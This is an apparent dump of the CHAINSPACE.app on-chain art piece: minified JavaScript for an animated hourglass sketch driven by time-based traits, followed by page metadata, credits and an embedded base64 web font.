)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
